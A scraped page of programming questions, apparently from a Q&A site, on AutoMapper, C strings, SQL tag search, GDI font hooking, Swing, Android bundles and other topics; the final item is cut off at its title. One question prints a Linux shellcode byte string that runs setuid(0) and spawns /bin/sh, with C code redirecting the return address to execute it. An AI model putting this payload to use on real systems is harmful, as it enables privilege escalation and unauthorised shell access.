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  • AutoMapper How to map nested object from an ObjectId

    - by RayMartinsHair
    I am trying to map the ReferralContract.AssessmentId property to Referral.Assessment.Id The below code works but I am sure that there is a cleaner way to do.... Please tell me this is so ;-) // Destination classes public class Referral { public Referral() { Assessment = new Assessment(); } public int Id { get; set; } public Assessment Assessment { get; set; } } public class Assessment { public int Id { get; set; } } // Source Class public class ReferralContract { public int Id { get; set; } public int AssessmentId { get; set; } } The Automapper mapping I am using is Mapper.CreateMap<ReferralContract, Referral>() .ForMember(x => x.Assessment, opt => opt.MapFrom(scr => new Assessment { Id = scr.AssessmentId }));

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  • Find max integer size that a floating point type can handle without loss of precision

    - by Checkers
    Double has range more than a 64-bit integer, but its precision is less dues to its representation (since double is 64-bit as well, it can't fit more actual values). So, when representing larger integers, you start to lose precision in the integer part. #include <boost/cstdint.hpp> #include <limits> template<typename T, typename TFloat> void maxint_to_double() { T i = std::numeric_limits<T>::max(); TFloat d = i; std::cout << std::fixed << i << std::endl << d << std::endl; } int main() { maxint_to_double<int, double>(); maxint_to_double<boost::intmax_t, double>(); maxint_to_double<int, float>(); return 0; } This prints: 2147483647 2147483647.000000 9223372036854775807 9223372036854775800.000000 2147483647 2147483648.000000 Note how max int can fit into a double without loss of precision and boost::intmax_t (64-bit in this case) cannot. float can't even hold an int. Now, the question: is there a way in C++ to check if the entire range of a given integer type can fit into a loating point type without loss of precision? Preferably, it would be a compile-time check that can be used in a static assertion, and would not involve enumerating the constants the compiler should know or can compute.

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  • Help me alter this query to get the desired results

    - by sandeepan
    Please dump these data first CREATE TABLE IF NOT EXISTS `all_tag_relations` ( `id_tag_rel` int(10) NOT NULL AUTO_INCREMENT, `id_tag` int(10) unsigned NOT NULL DEFAULT '0', `id_tutor` int(10) DEFAULT NULL, `id_wc` int(10) unsigned DEFAULT NULL, PRIMARY KEY (`id_tag_rel`), KEY `All_Tag_Relations_FKIndex1` (`id_tag`), KEY `id_wc` (`id_wc`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=19 ; INSERT INTO `all_tag_relations` (`id_tag_rel`, `id_tag`, `id_tutor`, `id_wc`) VALUES (1, 1, 1, NULL), (2, 2, 1, NULL), (3, 6, 2, NULL), (4, 7, 2, NULL), (8, 3, 1, 1), (9, 4, 1, 1), (10, 5, 2, 2), (11, 4, 2, 2), (15, 8, 1, 3), (16, 9, 1, 3), (17, 10, 1, 4), (18, 4, 1, 4), (19, 1, 2, 5), (20, 4, 2, 5); CREATE TABLE IF NOT EXISTS `tags` ( `id_tag` int(10) unsigned NOT NULL AUTO_INCREMENT, `tag` varchar(255) DEFAULT NULL, PRIMARY KEY (`id_tag`), UNIQUE KEY `tag` (`tag`), KEY `id_tag` (`id_tag`), KEY `tag_2` (`tag`), KEY `tag_3` (`tag`), KEY `tag_4` (`tag`), FULLTEXT KEY `tag_5` (`tag`) ) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=11 ; INSERT INTO `tags` (`id_tag`, `tag`) VALUES (1, 'Sandeepan'), (2, 'Nath'), (3, 'first'), (4, 'class'), (5, 'new'), (6, 'Bob'), (7, 'Cratchit'), (8, 'more'), (9, 'fresh'), (10, 'second'); CREATE TABLE IF NOT EXISTS `webclasses` ( `id_wc` int(10) NOT NULL AUTO_INCREMENT, `id_author` int(10) NOT NULL, `name` varchar(50) DEFAULT NULL, PRIMARY KEY (`id_wc`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=5 ; INSERT INTO `webclasses` (`id_wc`, `id_author`, `name`) VALUES (1, 1, 'first class'), (2, 2, 'new class'), (3, 1, 'more fresh'), (4, 1, 'second class'), (5, 2, 'sandeepan class'); About the system - The system consists of tutors and classes. - The data in the table All_Tag_Relations stores tag relations for each tutor registered and each class created by a tutor. The tag relations are used for searching classes. The current data dump corresponds to tutor "Sandeepan Nath" who has created classes named "first class", "more fresh", "second class" and tutor "Bob Cratchit" who has created classes "new class" and "Sandeepan class". I am trying for a search query performs AND logic on the search keywords and returns wvery such class for which the search terms are present in the class name or its tutor name To make it easy, following is the list of search terms and desired results:- Search term result classes (check the id_wc in the results) first class 1 Sandeepan Nath class 1 Sandeepan Nath 1,3 Bob Cratchit 2 Sandeepan Nath bob none Sandeepan Class 1,4,5 I have so far reached upto this query -- Two keywords search SET @tag1 = 4, @tag2 = 1; -- Setting some user variables to see where the ids go. SELECT wc.id_wc, sum( DISTINCT ( wtagrels.id_tag = @tag1 ) ) AS key_1_class_matches, sum( DISTINCT ( wtagrels.id_tag = @tag2 ) ) AS key_2_class_matches, sum( DISTINCT ( ttagrels.id_tag = @tag1 ) ) AS key_1_tutor_matches, sum( DISTINCT ( ttagrels.id_tag = @tag2 ) ) AS key_2_tutor_matches, sum( DISTINCT ( ttagrels.id_tag = wtagrels.id_tag ) ) AS key_class_tutor_matches FROM WebClasses as wc join all_tag_relations AS wtagrels on wc.id_wc = wtagrels.id_wc join all_tag_relations as ttagrels on (wc.id_author = ttagrels.id_tutor) WHERE ( wtagrels.id_tag = @tag1 OR wtagrels.id_tag = @tag2 OR ttagrels.id_tag = @tag1 OR ttagrels.id_tag = @tag2 ) GROUP BY wtagrels.id_wc LIMIT 0 , 20 For search with 1 or 3 terms, remove/add the variable part in this query. Tabulating my observation of the values of key_1_class_matches, key_2_class_matches,key_1_tutor_matches (say, class keys),key_2_tutor_matches for various cases (say, tutor keys). Search term expected result Observation first class 1 for class 1, all class keys+all tutor keys =1 Sandeepan Nath class 1 for class 1, one class key+ all tutor keys = 1 Sandeepan Nath 1,3 both tutor keys =1 for these classes Bob Cratchit 2 both tutor keys = 1 Sandeepan Nath bob none no complete tutor matches for any class I found a pattern that, for any case, the class(es) which should appear in the result have the highest number of matches (all class keys and tutor keys). E.g. searching "first class", only for class =1, total of key matches = 4(1+1+1+1) searching "Sandeepan Nath", for classes 1, 3,4(all classes by Sandeepan Nath) have all the tutor keys matching. But no pattern in the search for "Sandeepan Class" - classes 1,4,5 should match. Now, how do I put a condition into the query, based on that pattern so that only those classes are returned. Do I need to use full text search here because it gives a scoring/rank value indicating the strength of the match? Any sample query would help. Please note - I have already found solution for showing classes when any/all of the search terms match with the class name. http://stackoverflow.com/questions/3030022/mysql-help-me-alter-this-search-query-to-get-desired-results But if all the search terms are in tutor name, it does not work. So, I am modifying the query and experimenting.

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  • How to dynamically expand a string in C

    - by sa125
    Hi - I have a function that recursively makes some calculations on a set of numbers. I want to also pretty-print the calculation in each recursion call by passing the string from the previous calculation and concatenating it with the current operation. A sample output might look like this: 3 (3) + 2 ((3) + 2) / 4 (((3) + 2) / 4) x 5 ((((3) + 2) / 4) x 5) + 14 ... and so on So basically, the second call gets 3 and appends + 2 to it, the third call gets passed (3) + 2 , etc. My recursive function prototype looks like this: void calc_rec(int input[], int length, char * previous_string); I wrote a 2 helper functions to help me with the operation, but they implode when I test them: /********************************************************************** * dynamically allocate and append new string to old string and return a pointer to it **********************************************************************/ char * strapp(char * old, char * new) { // find the size of the string to allocate int len = sizeof(char) * (strlen(old) + strlen(new)); // allocate a pointer to the new string char * out = (char*)malloc(len); // concat both strings and return sprintf(out, "%s%s", old, new); return out; } /********************************************************************** * returns a pretty math representation of the calculation op **********************************************************************/ char * mathop(char * old, char operand, int num) { char * output, *newout; char fstr[50]; // random guess.. couldn't think of a better way. sprintf(fstr, " %c %d", operand, num); output = strapp(old, fstr); newout = (char*)malloc( 2*sizeof(char)+sizeof(output) ); sprintf(newout, "(%s)", output); free(output); return newout; } void test_mathop() { int i, total = 10; char * first = "3"; printf("in test_mathop\n"); while (i < total) { first = mathop(first, "+", i); printf("%s\n", first); ++i; } } strapp() returns a pointer to newly appended strings (works), and mathop() is supposed to take the old calculation string ("(3)+2"), a char operand ('+', '-', etc) and an int, and return a pointer to the new string, for example "((3)+2)/3". Any idea where I'm messing things up? thanks.

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  • Disable antialiasing for a specific GDI device context

    - by Jacob Stanley
    I'm using a third party library to render an image to a GDI DC and I need to ensure that any text is rendered without any smoothing/antialiasing so that I can convert the image to a predefined palette with indexed colors. The third party library i'm using for rendering doesn't support this and just renders text as per the current windows settings for font rendering. They've also said that it's unlikely they'll add the ability to switch anti-aliasing off any time soon. The best work around I've found so far is to call the third party library in this way (error handling and prior settings checks ommitted for brevity): private static void SetFontSmoothing(bool enabled) { int pv = 0; SystemParametersInfo(Spi.SetFontSmoothing, enabled ? 1 : 0, ref pv, Spif.None); } // snip Graphics graphics = Graphics.FromImage(bitmap) IntPtr deviceContext = graphics.GetHdc(); SetFontSmoothing(false); thirdPartyComponent.Render(deviceContext); SetFontSmoothing(true); This obviously has a horrible effect on the operating system, other applications flicker from cleartype enabled to disabled and back every time I render the image. So the question is, does anyone know how I can alter the font rendering settings for a specific DC? Even if I could just make the changes process or thread specific instead of affecting the whole operating system, that would be a big step forward! (That would give me the option of farming this rendering out to a separate process- the results are written to disk after rendering anyway) EDIT: I'd like to add that I don't mind if the solution is more complex than just a few API calls. I'd even be happy with a solution that involved hooking system dlls if it was only about a days work. EDIT: Background Information The third-party library renders using a palette of about 70 colors. After the image (which is actually a map tile) is rendered to the DC, I convert each pixel from it's 32-bit color back to it's palette index and store the result as an 8bpp greyscale image. This is uploaded to the video card as a texture. During rendering, I re-apply the palette (also stored as a texture) with a pixel shader executing on the video card. This allows me to switch and fade between different palettes instantaneously instead of needing to regenerate all the required tiles. It takes between 10-60 seconds to generate and upload all the tiles for a typical view of the world. EDIT: Renamed GraphicsDevice to Graphics The class GraphicsDevice in the previous version of this question is actually System.Drawing.Graphics. I had renamed it (using GraphicsDevice = ...) because the code in question is in the namespace MyCompany.Graphics and the compiler wasn't able resolve it properly. EDIT: Success! I even managed to port the PatchIat function below to C# with the help of Marshal.GetFunctionPointerForDelegate. The .NET interop team really did a fantastic job! I'm now using the following syntax, where Patch is an extension method on System.Diagnostics.ProcessModule: module.Patch( "Gdi32.dll", "CreateFontIndirectA", (CreateFontIndirectA original) => font => { font->lfQuality = NONANTIALIASED_QUALITY; return original(font); }); private unsafe delegate IntPtr CreateFontIndirectA(LOGFONTA* lplf); private const int NONANTIALIASED_QUALITY = 3; [StructLayout(LayoutKind.Sequential)] private struct LOGFONTA { public int lfHeight; public int lfWidth; public int lfEscapement; public int lfOrientation; public int lfWeight; public byte lfItalic; public byte lfUnderline; public byte lfStrikeOut; public byte lfCharSet; public byte lfOutPrecision; public byte lfClipPrecision; public byte lfQuality; public byte lfPitchAndFamily; public unsafe fixed sbyte lfFaceName [32]; }

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  • Average performance of binary search algorithm?

    - by Passionate Learner
    http://en.wikipedia.org/wiki/Binary_search_algorithm#Average_performance BinarySearch(int A[], int value, int low, int high) { int mid; if (high < low) return -1; mid = (low + high) / 2; if (A[mid] > value) return BinarySearch(A, value, low, mid-1); else if (A[mid] < value) return BinarySearch(A, value, mid+1, high); else return mid; } If the integer I'm trying to find is always in the array, can anyone help me write a program that can calculate the average performance of binary search algorithm? I know I can do this by actually running the program and counting the number of calls, but what I'm trying to do here is to do it without calling the function. I'm not asking for a time complexity, I'm trying to calculate the average number of calls. For example, the average number of calls to find a integer in A[2], it would be 1.67 (5/3).

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  • Why a graphics overflow problem as a result of a for loop?

    - by sonny5
    using System; using System.Drawing; using System.Collections; using System.ComponentModel; using System.Windows.Forms; using System.Data; using System.Drawing.Imaging; using System.Drawing.Drawing2D; public class Form1 : System.Windows.Forms.Form { public static float WXmin; public static float WYmin; public static float WXmax; public static float WYmax; public static int VXmin; public static int VYmin; public static int VXmax; public static int VYmax; public static float Wx; public static float Wy; public static float Vx; public static float Vy; public Form1() { InitializeComponent(); } private void InitializeComponent() { this.ClientSize = new System.Drawing.Size(400, 300); this.Text="Pass Args"; this.Paint += new System.Windows.Forms.PaintEventHandler(this.doLine); //this.Paint += new System.PaintEventHandler(this.eachCornerPix); //eachCornerPix(out Wx, out Wy, out Vx, out Vy); } static void Main() { Application.Run(new Form1()); } private void doLine(object sender, System.Windows.Forms.PaintEventArgs e) { Graphics g = e.Graphics; g.FillRectangle(Brushes.White, this.ClientRectangle); Pen p = new Pen(Color.Black); g.DrawLine(p, 0, 0, 100, 100); // draw DOWN in y, which is positive since no matrix called eachCornerPix(sender, e, out Wx, out Wy, out Vx, out Vy); p.Dispose(); } private void eachCornerPix (object sender, System.EventArgs e, out float Wx, out float Wy, out float Vx, out float Vy) { Wx = 0.0f; Wy = 0.0f; Vx = 0.0f; Vy = 0.0f; Graphics g = this.CreateGraphics(); Pen penBlu = new Pen(Color.Blue, 2); SolidBrush redBrush = new SolidBrush(Color.Red); int width = 2; // 1 pixel wide in x int height = 2; float [] Wxc = {0.100f, 5.900f, 5.900f, 0.100f}; float [] Wyc = {0.100f, 0.100f, 3.900f, 3.900f}; Console.WriteLine("Wxc[0] = {0}", Wxc[0]); Console.WriteLine("Wyc[3] = {0}", Wyc[3]); /* for (int i = 0; i<3; i++) { Wx = Wxc[i]; Wy = Wyc[i]; Vx = ((Wx - WXmin)*((VXmax-VXmin)+VXmin)/(WXmax-WXmin)); Vy = ((Wy - WYmin)*(VYmax-VYmin)/(WYmax-WYmin)+VYmin); Console.WriteLine("eachCornerPix Vx= {0}", Vx); Console.WriteLine("eachCornerPix Vy= {0}", Vy); g.FillRectangle(redBrush, Vx, Vy, width, height); } */ // What is there about this for loop that will not run? // When the comments above and after the for loop are removed, it gets an overflow? g.Dispose(); } }

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  • create TableModel and populate jTable dynamically

    - by Julia
    Hi all! I want to store the results of reading lucene index into jTable, so that I can make it sortable by different columns. From index I am reading terms with different measures of their frequencies. Table columns are these : [string term][int absFrequency][int docFrequency][double invFrequency] So i in AbstractTableModel I can define column names, but i dont know how to get the Object[][]data with results from the following method: public static void FrequencyMap(Directory indexDir) throws Exception { List<Object>redoviLista = new ArrayList<Object>(); //final Map<String,TermRow> map = new TreeMap<String,TermRow>(); List<String>termList = new ArrayList<String>(); IndexReader iReader = IndexReader.open(indexDir); FilterIndexReader fReader = new FilterIndexReader(iReader); int numOfDocs = fReader.numDocs(); TermEnum terms = fReader.terms(); while (terms.next()){ Term term = terms.term(); String termText = term.text(); termList.add(termText); //Calculating the frequencies int df = iReader.docFreq(term); double idf = 0.0F; idf = Math.log10((double) numOfDocs / df); double tfidf = (df*idf); //Here comes important part Object oneTableRow[] = {termText, df, idf, tfidf}; redoviLista.add(jedanRed); // So i thaught to store them into list, and then later to copy into table, but didnt manage } iReader.close(); // So I need something like this, and i Neeed this array to be stored out of this method Object[][]data = new Object[redoviLista.size()][]; for (int i = 0; i < data.length; i++) { data[i][0] = redoviLista.get(i); } So I am kindda stuck here to proceed to implement AbstractTableModel and populate and display this table .... :/ Please help!

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  • C#: Windows Forms: What could cause Invalidate() to not redraw?

    - by Rosarch
    I'm using Windows Forms. For a long time, pictureBox.Invalidate(); worked to make the screen be redrawn. However, it now doesn't work and I'm not sure why. this.worldBox = new System.Windows.Forms.PictureBox(); this.worldBox.BackColor = System.Drawing.SystemColors.Control; this.worldBox.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; this.worldBox.Location = new System.Drawing.Point(170, 82); this.worldBox.Name = "worldBox"; this.worldBox.Size = new System.Drawing.Size(261, 250); this.worldBox.TabIndex = 0; this.worldBox.TabStop = false; this.worldBox.MouseMove += new System.Windows.Forms.MouseEventHandler(this.worldBox_MouseMove); this.worldBox.MouseDown += new System.Windows.Forms.MouseEventHandler(this.worldBox_MouseDown); this.worldBox.MouseUp += new System.Windows.Forms.MouseEventHandler(this.worldBox_MouseUp); Called in my code to draw the world appropriately: view.DrawWorldBox(worldBox, canvas, gameEngine.GameObjectManager.Controllers, selectedGameObjects, LevelEditorUtils.PREVIEWS); View.DrawWorldBox: public void DrawWorldBox(PictureBox worldBox, Panel canvas, ICollection<IGameObjectController> controllers, ICollection<IGameObjectController> selectedGameObjects, IDictionary<string, Image> previews) { int left = Math.Abs(worldBox.Location.X); int top = Math.Abs(worldBox.Location.Y); Rectangle screenRect = new Rectangle(left, top, canvas.Width, canvas.Height); IDictionary<float, ICollection<IGameObjectController>> layers = LevelEditorUtils.LayersOfControllers(controllers); IOrderedEnumerable<KeyValuePair<float, ICollection<IGameObjectController>>> sortedLayers = from item in layers orderby item.Key descending select item; using (Graphics g = Graphics.FromImage(worldBox.Image)) { foreach (KeyValuePair<float, ICollection<IGameObjectController>> kv in sortedLayers) { foreach (IGameObjectController controller in kv.Value) { // ... float scale = controller.View.Scale; float width = controller.View.Width; float height = controller.View.Height; Rectangle controllerRect = new Rectangle((int)controller.Model.Position.X, (int)controller.Model.Position.Y, (int)(width * scale), (int)(height * scale)); // cull objects that aren't intersecting with the canvas if (controllerRect.IntersectsWith(screenRect)) { Image img = previews[controller.Model.HumanReadableName]; g.DrawImage(img, controllerRect); } if (selectedGameObjects.Contains(controller)) { selectionRectangles.Add(controllerRect); } } } foreach (Rectangle rect in selectionRectangles) { g.DrawRectangle(drawingPen, rect); } selectionRectangles.Clear(); } worldBox.Invalidate(); } What could I be doing wrong here?

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  • Addind the sum of numbers using a loop statement

    - by Deonna
    I need serious help diving the positive numbers and the negative numbers. I am to accumulate the total of the negative values and separately accumulate the total of the positive values. After the loop, you are then to display the sum of the negative values and the sum of the positive values. The data is suppose to look like this: -2.3 -1.9 -1.5 -1.1 -0.7 -0.3 0.1 0.5 0.9 1.3 1.7 2.1 2.5 2.9 Sum of negative values: -7.8 Sum of positive values: 12 So far I have this: int main () { int num, num2, num3, num4, num5, sum, count, sum1; int tempVariable = 0; int numCount = 100; int newlineCount = 0, newlineCount1 = 0; float numCount1 = -2.3; while (numCount <= 150) { cout << numCount << " "; numCount += 2; newlineCount ++; if(newlineCount == 6) { cout<< " " << endl; newlineCount = 0; } } **cout << "" << endl; while (numCount1 <=2.9 ) { cout << numCount1 << " "; numCount1 += 0.4; newlineCount1 ++; } while ( newlineCount1 <= 0 && newlineCount >= -2.3 ); cout << "The sum is " << newlineCount1 << endl;** return 0; }

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  • Python equivalent of Java's compareTo()

    - by astay13
    I'm doing a project in Python (3.2) for which I need to compare user defined objects. I'm used to OOP in Java, where one would define a compareTo() method in the class that specifies the natural ordering of that class, as in the example below: public class Foo { int a, b; public Foo(int aa, int bb) { a = aa; b = bb; } public int compareTo(Foo that) { // return a negative number if this < that // return 0 if this == that // return a positive number if this > that if (this.a == that.a) return this.b - that.b; else return this.a - that.a; } } I'm fairly new to classes/objects in Python, so I'd like to know what is the "pythonic" way to define the natural ordering of a class?

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  • can anyone explain this code to me???

    - by Abed
    //shellcode.c char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int *ret; //ret pointer for manipulating saved return. ret = (int *)&ret + 2; //setret to point to the saved return //value on the stack. (*ret) = (int)shellcode; //change the saved return value to the //address of the shellcode, so it executes. } can anyone give me a better explanation

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  • print matrix in dialog box

    - by Edan
    Hello, I'm having a little difficulty to print a matrix array on dialog box. The matrix is integer and as far as i understood i need to change it into string? anyway, here's the code: public void print_Matrix(int row, int column) { for (int i = 0; i <= row; i++) { for (int j = 0; j <= column; j++) { JOptionPane.showMessageDialog(null, matrix_Of_Life); } } what I need to do in order to print array into dialog box? thanks.

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  • What is system() in linux

    - by Satish Patel
    I am an absolute beginner with Linux Operating system and just for fun in terminal I typed system() what happened next is as below: satish@satish-Inspiron-N5010 ~ $ system() >#include<iostream> >int main() bash: syntax error near unexpected token 'int' satish@satish-Ispiron-N5010~ $ Here I want to know that what is system() ? what is it's role here? why I got error in int main() line? What can we do with C/C++ programming in terminal?

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  • runtime error (SIGSEGV)

    - by vamsi2018
    hi, i would be happy to know why i got this error for the problem http://www.codechef.com/problems/AXR1P2 in codechef.com and my code is... include include int main() { int *num=0,n=0,i=0,max=0;char *s=""; int sum[9]={1,5,14,20,25,31,32,38,39},dsum[9]={1,7,8,14,19,25,26,32,33},unitdig=0; do { gets(s); *(num+i)=(int)atoi(s); i++; }while(s!='#'); max=i; for(i=0;i10) unitdig=33(n/10-1)+39+dsum[(n%10)-1]; else unitdig=sum[(n%10)-1]; printf("%d\n",unitdig%10); } getchar(); return 0;}

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  • Unreachable statement when using return in finally?

    - by abson
    this compiles class ex1 { public int show() { try { int a=10/10; return 10; } catch(ArithmeticException e) { System.out.println(e); } finally { System.out.println("Finally"); } System.out.println("hello"); return 20; } } on the other hand this doesn't class ex15 { public int show() { try { int a=10/0; return 10; } catch(ArithmeticException e) { System.out.println(e); } finally { System.out.println("Finally"); return 40; } System.out.println("hello"); return 20; } } and gives unreachable statement System.out.println("hello"); error. why is it so?

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  • C# Operator Overloading post-fix increment

    - by Victor
    I'm coding a date class and am having trouble with the post-fix increment (the prefix increment seems fine). Here is the sample code: public class date { int year, month, day; public date(int d, int m, int y) { day = d; month = m; year = y; } static public date operator ++(date d) { return d.Next(d); } } The method "Next(date d)" takes a date and returns tomorrows date (I left it out for brevity). I'm to young in C# to understand why the prefix is fine but postfix increment does nothing. But remember in C++ we would have to have two methods instead of just one - for prefix and postfix increments. Also no errors or warnings on compile.

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  • Creating and using a static lib in xcode (MacOSX)

    - by Alasdair Morrison
    I am trying to create a static library in xcode and link to that static library from another program. So as a test i have created a BSD static C library project and just added the following code: //Test.h int testFunction(); //Test.cpp #include "Test.h" int testFunction() { return 12; } This compiles fine and create a .a file (libTest.a). Now i want to use it in another program so I create a new xcode project (cocoa application) Have the following code: //main.cpp #include <iostream> #include "Testlib.h" int main (int argc, char * const argv[]) { // insert code here... std::cout << "Result:\n" <<testFunction(); return 0; } //Testlib.h extern int testFunction(); I right clicked on the project - add - existing framework - add other Selected the .a file and it added it into the project view. I always get this linker error: Build TestUselibrary of project TestUselibrary with configuration Debug Ld build/Debug/TestUselibrary normal x86_64 cd /Users/myname/location/TestUselibrary setenv MACOSX_DEPLOYMENT_TARGET 10.6 /Developer/usr/bin/g++-4.2 -arch x86_64 -isysroot /Developer/SDKs/MacOSX10.6.sdk -L/Users/myname/location/TestUselibrary/build/Debug -L/Users/myname/location/TestUselibrary/../Test/build/Debug -F/Users/myname/location/TestUselibrary/build/Debug -filelist /Users/myname/location/TestUselibrary/build/TestUselibrary.build/Debug/TestUselibrary.build/Objects-normal/x86_64/TestUselibrary.LinkFileList -mmacosx-version-min=10.6 -lTest -o /Users/myname/location/TestUselibrary/build/Debug/TestUselibrary Undefined symbols: "testFunction()", referenced from: _main in main.o ld: symbol(s) not found collect2: ld returned 1 exit status I am new to macosx development and fairly new to c++. I am probably missing something fairly obvious, all my experience comes from creating dlls on the windows platform. I really appreciate any help.

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  • Why isn't my bundle getting passed?

    - by NickTFried
    I'm trying to pass a bundle of two values from a started class to my landnav app, but according to the debug nothing is getting passed, does anyone have any ideas why? package edu.elon.cs.mobile; import android.app.Activity; import android.content.Intent; import android.os.Bundle; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; import android.widget.EditText; public class PointEntry extends Activity{ private Button calc; private EditText longi; private EditText lati; private double longid; private double latd; public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.pointentry); calc = (Button) findViewById(R.id.coorCalcButton); calc.setOnClickListener(landNavButtonListener); longi = (EditText) findViewById(R.id.longitudeedit); lati = (EditText) findViewById(R.id.latitudeedit); } private void startLandNav() { Intent intent = new Intent(this, LandNav.class); startActivityForResult(intent, 0); } private OnClickListener landNavButtonListener = new OnClickListener() { @Override public void onClick(View arg0) { Bundle bundle = new Bundle(); bundle.putDouble("longKey", longid); bundle.putDouble("latKey", latd); longid = Double.parseDouble(longi.getText().toString()); latd = Double.parseDouble(lati.getText().toString()); startLandNav(); } }; } This is the class that is suppose to take the second point package edu.elon.cs.mobile; import com.google.android.maps.GeoPoint; import com.google.android.maps.MapActivity; import com.google.android.maps.MapController; import com.google.android.maps.MapView; import com.google.android.maps.MyLocationOverlay; import com.google.android.maps.Overlay; import android.content.Context; import android.graphics.drawable.Drawable; import android.hardware.Sensor; import android.hardware.SensorEvent; import android.hardware.SensorEventListener; import android.hardware.SensorManager; import android.location.Location; import android.location.LocationManager; import android.os.Bundle; import android.util.Log; import android.widget.EditText; import android.widget.TextView; public class LandNav extends MapActivity{ private MapView map; private MapController mc; private GeoPoint myPos; private SensorManager sensorMgr; private TextView azimuthView; private double longitudeFinal; private double latitudeFinal; double startTime; double newTime; double elapseTime; private MyLocationOverlay me; private Drawable marker; private GeoPoint finalPos; private SitesOverlay myOverlays; public LandNav(){ startTime = System.currentTimeMillis(); } public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.landnav); Bundle bundle = this.getIntent().getExtras(); if(bundle != null){ longitudeFinal = bundle.getDouble("longKey"); latitudeFinal = bundle.getDouble("latKey"); } azimuthView = (TextView) findViewById(R.id.azimuthView); map = (MapView) findViewById(R.id.map); mc = map.getController(); sensorMgr = (SensorManager) getSystemService(Context.SENSOR_SERVICE); LocationManager lm = (LocationManager)getSystemService(Context.LOCATION_SERVICE); Location location = lm.getLastKnownLocation(LocationManager.GPS_PROVIDER); int longitude = (int)(location.getLongitude() * 1E6); int latitude = (int)(location.getLatitude() * 1E6); finalPos = new GeoPoint((int)(latitudeFinal*1E6), (int)(longitudeFinal*1E6)); myPos = new GeoPoint(latitude, longitude); map.setSatellite(true); map.setBuiltInZoomControls(true); mc.setZoom(16); mc.setCenter(myPos); marker = getResources().getDrawable(R.drawable.greenmarker); marker.setBounds(0,0, marker.getIntrinsicWidth(), marker.getIntrinsicHeight()); me = new MyLocationOverlay(this, map); myOverlays = new SitesOverlay(marker, myPos, finalPos); map.getOverlays().add(myOverlays); } @Override protected boolean isRouteDisplayed() { return false; } @Override protected void onResume() { super.onResume(); sensorMgr.registerListener(sensorListener, sensorMgr.getDefaultSensor(Sensor.TYPE_ORIENTATION), SensorManager.SENSOR_DELAY_UI); me.enableCompass(); me.enableMyLocation(); //me.onLocationChanged(location) } protected void onPause(){ super.onPause(); me.disableCompass(); me.disableMyLocation(); } @Override protected void onStop() { super.onStop(); sensorMgr.unregisterListener(sensorListener); } private SensorEventListener sensorListener = new SensorEventListener() { @Override public void onAccuracyChanged(Sensor arg0, int arg1) { // TODO Auto-generated method stub } private boolean reset = true; @Override public void onSensorChanged(SensorEvent event) { newTime = System.currentTimeMillis(); elapseTime = newTime - startTime; if (event.sensor.getType() == Sensor.TYPE_ORIENTATION && elapseTime > 400) { azimuthView.setText(Integer.toString((int) event.values[0])); startTime = newTime; } } }; }

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  • How to create a rounded title border in Java Swing

    - by Stephane Grenier
    I do understand that to create a title border, you do something like: BorderFactory.createTitledBorder(" Your Title "); However this creates a rectangle border whereas I need a rectangle with curved corners. Now from what I understand you can create your own custom border by: class CustomBorder implements Border { ... } The problem is that I'm not sure how to write the code that overrides the method: public void paintBorder(Component component, Graphics g, int x, int y, int width, int height) Or better yet, is there a way to do it without implementing your own Border class? And if not, how would you write that custom Title Border? I'm ok with drawing a rectangle with rounded corners, but how do you do it so that there's space for the label too?

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  • Blittable Value Types

    - by Michael Covelli
    Here is a list of blittable types. It contains Int32 and Int64. But I don't see just plain "int" on the list. How does C# treat the plain "int" type? Does it just get replaced with Int32 or Int64 depending on the system? Or is there a subtle difference? Will using "int" ever cause a performance hit for marshalling?

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  • bug/error in basis set path algorithm i can't figure out

    - by Roy McAvoy
    The following looks through a 2d array to find basis set paths. It is supposed to print out the individual paths but not repeat any and end when all paths are found. It however doesn't stop at the last path and has a bug in it somewhere in which the following happens: It goes halfway through the path and then goes to zero and ends the path for some reason. For example the table is filled with the following: all 0s, except for [1][2], [1][3], [2][4], [2][5], [3][5], [4][6], [5][6], [6][0] which all have a 1 in them. The desired paths are P1: 1 2 4 6 0 P2: 1 3 5 6 0 P3: 1 2 5 6 0. The output I get when i run the program is 12460 13560 1250 124 Any and all help on this is much appreciated, this is just the function that scans through the array looking for paths, I can add the entire program if that would be helpful. Thanks.. void find_path(int map[][MAX], int x){ int path =0; int m=1; int blah=0; bool path_found = false; do { for(int n=0;n<(x+1);n++){ if(map[m][n]==-1){ blah=(n+1); if(blah<(x+1)){ for(blah;blah<(x+1);blah++){ if(map[m][blah]==1){ map[m][blah]=-1; path=m; path_found = true; cout<<path; m=blah; n=0; } } } else{ path=m; path_found=false; cout<<path; m=n; if(m==0){ path=0; cout<<path<<endl; m=1; path_found=false; } } } else if(map[m][n]==1){ map[m][n]=-1; path=m; path_found = true; cout<<path; m=n; if(m==0){ path=0; cout<<path<<endl; m=1; path_found=false; } } } } while(m<(x+1) && path_found); }

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  • Aggregating, restructuring hourly time series data in R

    - by Advait Godbole
    I have a year's worth of hourly data in a data frame in R: > str(df.MHwind_load) # compactly displays structure of data frame 'data.frame': 8760 obs. of 6 variables: $ Date : Factor w/ 365 levels "2010-04-01","2010-04-02",..: 1 1 1 1 1 1 1 1 1 1 ... $ Time..HRs. : int 1 2 3 4 5 6 7 8 9 10 ... $ Hour.of.Year : int 1 2 3 4 5 6 7 8 9 10 ... $ Wind.MW : int 375 492 483 476 486 512 421 396 456 453 ... $ MSEDCL.Demand: int 13293 13140 12806 12891 13113 13802 14186 14104 14117 14462 ... $ Net.Load : int 12918 12648 12323 12415 12627 13290 13765 13708 13661 14009 ... While preserving the hourly structure, I would like to know how to extract a particular month/group of months the first day/first week etc of each month all mondays, all tuesdays etc of the year I have tried using "cut" without result and after looking online think that "lubridate" might be able to do so but haven't found suitable examples. I'd greatly appreciate help on this issue.

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  • program that writes the even and odd numbers

    - by user292489
